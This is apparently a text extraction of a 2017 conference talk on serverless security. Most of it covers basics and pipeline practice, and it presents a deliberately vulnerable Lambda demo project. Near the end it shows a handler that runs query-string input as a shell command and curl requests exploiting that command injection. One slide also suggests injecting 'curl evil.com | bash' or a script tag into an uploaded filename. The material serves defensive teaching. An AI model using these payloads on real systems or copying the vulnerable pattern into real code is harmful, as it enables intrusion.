serverless security: a pragmatic primer for builders and defenders

Velocity San Jose 2017 @WICKETT

SERVERLESS SECURITY: A PRAGMATIC PRIMER

FOR BUILDERS AND DEFENDERS

JAMES WICKETT


WANT THE SLIDES RIGHT NOW?

Send an email to [email protected]

mailto:[email protected]


‣ DEVOPS DAYS AUSTIN ORGANIZER

‣ HEAD OF RESEARCH AT SIGNAL SCIENCES

‣ AUTHOR DEVOPS FUNDAMENTALS AT LYNDA.COM

‣ BLOGGER AT THEAGILEADMIN.COM AND LABS.SIGNALSCIENCES.COM

JAMES WICKETT

http://lynda.com

http://theagileadmin.com

http://labs.signalsciences.com


Don’t worry, this is not a thinly veiled vendor pitch.


‣ SERVERLESS ENCOURAGES FUNCTIONS AS DEPLOY UNITS, COUPLED WITH THIRD PARTY SERVICES THAT ALLOW RUNNING END-TO-END APPLICATIONS WITHOUT WORRYING ABOUT SYSTEM OPERATION.

‣ NEW SERVERLESS PATTERNS ARE JUST EMERGING

‣ SECURITY WITH SERVERLESS IS EASIER

‣ SECURITY WITH SERVERLESS IS HARDER

CONCLUSION (1 OF 2)


‣ FOUR KEY AREAS APPLY TO SERVERLESS SECURITY

‣ SOFTWARE SUPPLY CHAIN SECURITY

‣ DELIVERY PIPELINE SECURITY

‣ DATA FLOW SECURITY

‣ ATTACK DETECTION

‣ LAMBHACK! A VERY VULNERABLE LAMBDA STACK OPEN SOURCE PROJECT

‣ GITHUB.COM/WICKETT/LAMBHACK

CONCLUSION (2 OF 2)

http://github.com/wickett/lambhack


WHAT IS SERVERLESS?


MISCONCEPTIONS


IT’S MARKETING (CLOUD REBRANDED)


SERVERLESS == NO SERVERS


SERVERLESS == BACKEND AS A SERVICE


SERVERLESS == PLATFORM AS A SERVICE


TK: ADRIANCO QUOTE


SO, WHAT IS SERVERLESS?


http://martinfowler.com/articles/serverless.html

@MIKEBROBERTS




‣ 2012 - USED TO DESCRIBE BAAS AND CONTINUOUS INTEGRATION SERVICES RUN BY THIRD PARTIES

‣ LATE 2014 - AWS LAUNCHED LAMBDA

‣ JULY 2015 - AWS LAUNCHED API GATEWAY

‣ OCTOBER 2015 - AWS RE:INVENT - THE SERVERLESS COMPANY USING AWS LAMBDA

‣ 2015 TO PRESENT - FRAMEWORKS FORMING

‣ 2016 - GOOGLE CLOUD FUNCTIONS, AZURE FUNCTIONS RELEASED

‣ 2016 - SERVERLESS CONFERENCES STARTED

HISTORY OF SERVERLESS


VMsHardware Serverless

Inspiration from @adrianco

Waste

Value


Decomposed Microservice Architecture


WHAT CAN WE SAY IS SERVERLESS?


SERVERLESS IS FUNCTIONS AS A SERVICE

(FaaS)


CONTAINERS ON DEMAND


SERVERLESS IS (NO MANAGEMENT OF)

SERVERS


SERVERLESS IS SERVICEFULL


SERVERLESS IS AN OPINIONATED

FRAMEWORK FOR COMPUTE AND

CONTAINERS


If you want to lead your company bravely into the new

world, you would do well to focus lot on how serverless will

evolve. - @Cloudopinion

https://medium.com/@cloud_opinion/the-pattern-may-repeat-26de1e8b489d





THE CLOUD WAS TO VIRTUALIZATION AS

SERVERLESS WILL BE TO CONTAINERS


Serverless encourages functions as deploy units, coupled with third party services that allow

running end-to-end applications without worrying about system

operation.

SERVERLESS DEFINITION


SO, WHAT ARE THE UPSIDES?


SCALING BUILT IN


PAY FOR WHAT YOU USE IN 100MS INCREMENTS


WITH SERVERLESS SYSTEM ADMINISTRATION IS

(MOSTLY) LOWER


SHORT CIRCUITS OPS AND MOVES INFRASTRUCTURE

RUNTIME CLOSER TO DEVS


YOU CAN SKIP DOCKERING ALL THE

THINGS!


GREAT, WHAT’S THE CATCH?


Ops burden to rationalize serverless model

@patrickdebois


VENDOR LOCK-IN


MONITORING


LOGGING


RELIABILITY


‣ APP NEEDS LARGE LOCAL DISK SPACE

‣ LONG RUNNING JOBS

‣ BIG I/O TASKS

‣ LATENCY SENSITIVE REQUESTS THAT CAN’T WAIT FOR THE COLD-STARTUP TIME

SERVERLESS DEAL KILLERS (PROBABLY)


SERVERLESS USE CASES

Velocity San Jose 2017 @WICKETT http://martinfowler.com/articles/serverless.html

MESSAGE PROCESSING

Velocity San Jose 2017 @WICKETT http://martinfowler.com/articles/serverless.html

API GATEWAY


WEB APPLICATIONS


CI/CD auth

wordpress scraper

event ingestion chatbots

load testing

MORE SERVERLESS USE CASES


Security


LETS TRY A SAMPLE APPLICATION IN AWS


‣ SERVERLESS

‣ APEX

‣ GO SPARTA

‣ KAPPA

STEP 1: PICK A FRAMEWORK


‣ GOLANG!

‣ AWS LAMBDA SUPPORTS BRING YOUR OWN BINARY

‣ SPARTA WRAPS YOUR COMPILED BINARY WITH A NODE.JS SHIM

‣ GO SPARTA ALSO HANDLES ALL THE OTHER AWS SERVICES YOUR APP CONSUMES

GO SPARTA


‣ CLOUDWATCH EVENTS AND LOGS

‣ DYNAMODB, KINESIS,

‣ S3

‣ SES, SNS

‣ API GATEWAY CREATION

GO SPARTA INCLUDES


‣ BUILD A WORD CLOUD GENERATOR

‣ ABLE TO CONSUME 3RD PARTY APIS FOR TEXT SOURCES

‣ RETURN JSON WITH COUNTS OF WORDS IN TEXT

‣ KEEP IT SIMPLE

STEP 2: IDEA!


‣ (USING GO SPARTA FOR THE FRAMEWORK)

‣ LAMBDA

‣ S3

‣ API GATEWAY

STEP 3: DESIGN AND ARCHITECTURE


STEP 4: WRITE THE HANDLER


STEP 5: SETUP API GATEWAY


STEP 6: SET THE CONFIG DETAILS


STEP 7: PROVISION YOUR APP!


STEP 8: SETUP STRICT IAM POLICIES


STEP 9: GIVE UP AND SET LOOSE IAM POLICIES, PROMISE TO FIX LATER


STEP 10: PROVISION YOUR APP!


APP IN AWS CONSOLE


TEST LAMBDA EXEC IN CONSOLE

FIRST RUN OF 343MS


SECOND RUN ONLY TOOK 84MS


API GATEWAY IN CONSOLE


API GATEWAY EXECUTION IN CONSOLE


RETURNED JSON


MONITORING LAMBDA IN CONSOLE


WHAT I LEARNED ABOUT SERVERLESS SECURITY


SECURITY


‣ SECURE SOFTWARE SUPPLY CHAIN

‣ DELIVERY PIPELINE



FOUR AREAS OF SERVERLESS SECURITY

Velocity San Jose 2017 @WICKETT source: @devsecops


‣ THE CODE YOU WRITE (AND LIBS) IS YOUR SURFACE AREA NOW

‣ CHANGE FROM THE PAST (E.G. SHELLSHOCK, HEARTBLEED) OF THE NUMEROUS FIREDRILLS OUR INDUSTRY HAD TO ENDURE DUE TO INHERITANCE

SURFACE AREA REDUCTION


‣ TLS CONTROL TO THE PROVIDER

‣ ROUTING CONTROL TO THE PROVIDER

‣ CONSUMPTION OF THIRD PARTY SERVICES

‣ IAM ROLES AND POLICY CONFUSION

SURFACE AREA EXPANSION


SSL / TLS FROM THE PROVIDER


OLD WAY

NEW WAY


ROUTING FROM THE PROVIDER


ROUTING THE OLD WAY


ROUTING THE NEW WAY


Lambda + s3 + kinesis + DynamoDB +

cloudformation + API Gateway + Auth0

SERVICE AND 3RD PARTY EXPANSION

Velocity San Jose 2017 @WICKETT https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds

IAM ROLES AND POLICIES

https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds

https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds


Recommendation: Use a third-party service to monitor for provider

config changes


‣ DISABLE ROOT ACCESS KEYS

‣ MANAGE USERS WITH PROFILES

‣ SECURE YOUR KEYS IN YOUR DEPLOY SYSTEM

‣ SECURE KEYS IN DEV SYSTEM

‣ USE PROVIDER MFA

USE GOOD HYGIENE WITH YOUR PROVIDER


DELIVERY PIPELINE SECURITY


UNIT TESTING


EASIER TO MOCK

HARDER TO MOCK


UNIT TESTING EVEN MORE CRITICAL AS

INTEGRATION TESTING IN DEV IS

HARDER


‣ USE OF A STAGING OR PRE-PROD ENV

‣ END TO END SYNTHETIC INTEGRATION TESTS

‣ ALL THE USUAL SUSPECTS

INTEGRATION TESTING


CONFIGURATION IS PART OF DELIVERY


‣ ONLY DEV KEYS CAN PUSH TO ‘DEV’

‣ ONLY BUILD/DEPLOY SYSTEM CAN PUSH TO PRE-PROD

‣ INTEGRATION TESTS MUST PASS IN THIS ENV

‣ SECURITY VALIDATION MUST TAKE PLACE BEFORE PROMOTION

‣ ALLOW PUSH TO PROD, ONLY BY DEPLOY SYSTEM

GOOD PIPELINE PRACTICES


‣ BDD-SECURITY - GITHUB.COM/CONTINUUMSECURITY/BDD-SECURITY

‣ GAUNTLT - GAUNTLT.ORG

‣ GITHUB.COM/GAUNTLT/GAUNTLT

‣ DOCKER RECOMMENDED

SECURITY TESTING TOOLS

http://gauntlt.org

http://GitHub.com/gauntlt/gauntlt


http://www.slideshare.net/wickett/pragmatic-security-and-rugged-devops-sxsw-2015

GAUNTLT WORKSHOP IN 9 EXAMPLES

http://www.slideshare.net/wickett/pragmatic-security-and-rugged-devops-sxsw-2015


DATA FLOW‣ DEVELOPMENT

‣ DATA FLOW DIAGRAMS

‣ THREAT MODELING

‣ RUNTIME

‣ LOGGING

‣ CUSTOM MONITORS/METRICS


Your provider is responsible for the underlying infrastructure

and services. You are responsible for ensuring you use the services in a secure manner.

https://read.acloud.guru/adopting-serverless-architectures-and-

security-254a0c12b54a

https://read.acloud.guru/adopting-serverless-architectures-and-security-254a0c12b54a




‣ SPOOFING CONSUMED RESOURCES

‣ DENIAL OF SERVICE

‣ TIMEOUTS

‣ EXECUTION RESTRICTIONS FOR RESOURCES

‣ CAPACITY ISSUES

DATA FLOW SECURITY


ATTACK DETECTION


DOES APPLICATION SECURITY STILL MATTER?

Velocity San Jose 2017 @WICKETThttps://medium.com/

@PaulDJohnston/security-and-serverless-ec52817385c4

https://medium.com/@PaulDJohnston/security-and-serverless-ec52817385c4




APPSEC GREATEST HITS (XSS, SQLI, CMDEXE) STILL

RELEVANT 15 YEARS LATER!


‣ SERVERLESS HAS A FALSE SENSE OF SECURITY

‣ API PROXY LAYER THING PROTECTS ME, RIGHT? ;)

‣ WANTED TO SEE MAKE THE POINT THAT APPSEC IS RELEVANT IN SERVERLESS

‣ A VULNERABLE LAMBDA + API GATEWAY STACK

‣ BORN FROM THE HERITAGE OF WEBGOAT, RAILS GOAT, GRUYERE, AND OTHERS…

INTRODUCING LAMBHACK


‣ A VULNERABLE LAMBDA + API GATEWAY STACK

‣ OPEN SOURCE, MIT LICENSED

‣ INCLUDES ARBITRARY CODE EXECUTION IN A QUERY STRING

‣ MORE WORK NEEDED, PULL REQUESTS ACCEPTED AND LOOKING FOR COMMUNITY HELP


github.com/wickett/lamback



lambhack is a vulnerable serverless lambda application

It would certainly be a bad idea to base any coding patterns off

what you see here.


BAD CODE IS BAD CODEEVEN IN SERVERLESS…

command := lambdaEvent.QueryParams[“args"]

output := runner.Run(command)


With command execution available to us in

lambhack, we can poke around the container a bit


UNAME -A

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=uname+-a;+sleep+1"

> Linux ip-10-36-34-119 4.4.35-33.55.amzn1.x86_64 #1 SMP Tue Dec 6 20:30:04 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux


CAT /PROC/VERSION$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=cat+/proc/version;+sleep+1”

> Linux version 4.4.35-33.55.amzn1.x86_64 (mockbuild@gobi-build-60006) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Tue Dec 6 20:30:04 UTC 2016


LET’S LOOK IN /TMP

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=ls+-la+/tmp;+sleep+1"

total 17916 drwx------ 2 sbx_user1056 490 4096 Feb 8 22:02 . drwxr-xr-x 21 root root 4096 Feb 8 21:47 .. -rwxrwxr-x 1 sbx_user1056 490 18334049 Feb 8 22:02 Sparta.lambda.amd64


LAMBDA REUSE IN ACTION!

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=ls+/tmp;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=touch+/tmp/wickettfile;+sleep+1”

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/args=ls+/tmp;+sleep+1"

> Sparta.lambda.amd64 wickettfile


WHICH CURL

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=which+curl;+sleep+1"

> /usr/bin/curl


‣ ADD XSS

‣ ADD OTHER INJECTION ATTACKS

‣ ADD AUTH VECTORS

‣ …

‣ PULL REQUESTS ACCEPTED :)

FUTURE OF LAMBHACK


‣ LAMBDA HAS LIMITED BLAST RADIUS, BUT NOT ZERO

‣ MONITORING/LOGGING PLAYS A KEY ROLE HERE

‣ DETECT LONGER RUN TIMES

‣ HIGHER ERROR RATE OCCURRENCES

‣ DATA INGESTION

‣ LOG ACTIONS OF LAMBDAS

APPSEC THOUGHTS


APPLICATION SECURITY IS STILL RELEVANT


‣ New surface area, similar appsec problems

‣ Command Exec

‣ XSS

‣ Injection Attacks

‣ Try new things, e.g. appending ‘curl evil.com | bash’ or <script>alert(1)</script> to a filename you upload on s3

TYPES OF ATTACKS

http://evil.com


‣ LOGGING, EMITTING EVENTS

‣ USAGE METRICS

‣ VANDIUM (SQLI) WRAPPER

‣ CONTENT SECURITY POLICY (CSP)

‣ MORE THINGS NEED TO BE DONE HERE…

DEFENSE


Development in serverless is easier than ever, attracting new developers to web development, as a result, application security

will see a rise.

FINAL THOUGHT


‣ SERVERLESS ENCOURAGES FUNCTIONS AS DEPLOY UNITS, COUPLED WITH THIRD PARTY SERVICES THAT ALLOW RUNNING END-TO-END APPLICATIONS WITHOUT WORRYING ABOUT SYSTEM OPERATION.

‣ NEW SERVERLESS PATTERNS ARE JUST EMERGING

‣ SECURITY WITH SERVERLESS IS EASIER

‣ SECURITY WITH SERVERLESS IS HARDER

CONCLUSION (1 OF 2)


‣ FOUR KEY AREAS APPLY TO SERVERLESS SECURITY

‣ SOFTWARE SUPPLY CHAIN SECURITY

‣ DELIVERY PIPELINE SECURITY



‣ LAMBHACK! A VERY VULNERABLE LAMBDA STACK OPEN SOURCE PROJECT


CONCLUSION (2 OF 2)



WANT THE SLIDES RIGHT NOW OR HAVE QUESTIONS?

Send an email to [email protected]

mailto:[email protected]

serverless security: a pragmatic primer for builders and defenders

Software